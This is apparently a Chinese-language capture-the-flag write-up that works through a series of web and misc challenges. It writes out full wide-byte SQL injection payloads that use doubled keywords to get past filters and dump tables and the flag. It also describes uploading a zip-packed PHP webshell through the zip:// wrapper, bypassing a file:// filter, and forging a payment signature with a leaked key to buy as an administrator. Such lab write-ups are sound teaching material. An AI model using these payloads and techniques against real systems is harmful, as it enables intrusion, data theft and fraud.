直接百度哆啦a梦的生日:2112年9月3日 21120903就是答案:
查看页面源码:
发现flag就是str,那么只要打印str就知道flag了:
根据提示一直刮卡,没中奖就刷新接着刮:
尝试用手工sql注入:
只允许上传类型中有zip类型,那么可以将一句话木马压缩成zip文件上传,用蚁剑连接
这里注意上传路径为http://10.14.3.103/index.php?url=zip:(文件路径)%23(后面接着木马文件名)
查看index.bak:发现file:///和php://被禁用
但可以用?p=file://localhost/flag绕过:
题目提示了支持中文,就可以想到宽字节,登陆之后发现有一个显示位,可以通过联合查询得到flag
题目考点和过滤: 宽字节注入,过滤0x,union select where置空 # 显示database name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database()%23&pw=1 # 得到数据库名为web_sqli # 显示表名 name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),group_concat(table_name)%20from%20information_schema.tables%20whwhereere%20table_schema=database()%23&pw=1 # 得到表名为f14g,user # 显示f14g列名 name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),group_concat(column_name)%20from%20information_schema.columns%20whwhereere%20table_name%20=%20char(102,49,52,103)%23&pw=1 # 得到f14g列名为b80bb7740288fda1f201890375a60c8f,327a6c4304ad5938eaf0efb6cc3e53dc # 拿到flag name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),327a6c4304ad5938eaf0efb6cc3e53dc%20from%20f14g%20limit%2022,1%23&pw=1
爆数据库:web_wqli
爆表名:f14g和user
显示f14g列名:b80bb7740288fda1f201890375a60c8f,327a6c4304ad5938eaf0efb6cc3e53dc
获取flag:R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=
这里还需要拿去给base64解码 :
一般网站都有robots.txt文件,手敲robots文件发现信息 :
打开这个PHP页面看一下:
$a = isset($_GET['ctf']) ? $_GET['ctf'] : '';
发现可控的变量,已经知道是PHP的程序,我们开始用变量构造页面,构造一个phpinfo吧
?ctf=phpinfo
找到flag:
下载源码,发现提交源码:
@csrf_exempt
def checkPayment(request):
# print(request.body)
ret = {'result': '未知错误', 'status': 'danger'}
sign = request.GET.get('signature', '')
if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
o = get_object_or_404(Order, id=request.POST.get('order_id'))
g = get_object_or_404(Good, id=request.POST.get('good_id'))
u = get_object_or_404(User, id=request.POST.get('buyer_id'))
# 检查订单是否为待支付状态
if o.status != Order.ONGOING:
ret['result'] = f'订单 {o.id} 状态异常,可能已完成或已取消'
# 检查商品是否可购买
elif g.available != True or g.amount <= 0:
ret['result'] = f'商品 {g.id} 暂时不可购买,可能库存不足'
# 检查用户可用积分是否足够
elif u.profile.point < g.price:
ret['result'] = f'用户 {u.username} 可用积分不足,无法完成支付'
else:
if u.is_staff != True:
u.profile.point -= g.price
u.save()
g.amount -= 1
if g.name == 'FLAG':
o.message = REAL_FLAG
else:
o.message = f'fake_flag{{{md5(urandom(32)).hexdigest()}}}
(购买“FLAG”才能获得真正的 flag)'
if g.amount <= randint(0, 100):
g.amount += randint(100, 200)
g.save()
o.status = Order.FINISHED
o.save()
ret['result'] = f'订单 {o.id} 支付成功!'
ret['status'] = 'success'
else:
ret['result'] = '签名不正确,数据可能被篡改!'
return render(request, 'payment/result.html', ret)
再查看数据库,找到管理员的积分是3w,所以是用管理员去购买flag
在secret.key
中找到key=zhinianyuxin
,即RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE=zhinianyuxin
先买一个flag用bp抓包
修改buyerid为16,然后用python输出管理员的签名:
再将这个原来bp的签名修改为这个签名发送,就成功购买flag了:
根据提示知道这张图片并不完整:
我们需要调这个图片的高度,首先要了解010Editor中各个区域 :
在winhex打开这张图片,将高度修改为与宽度相同 ,保存修改就找到flag了:
直接拿去给base64解码就是flag: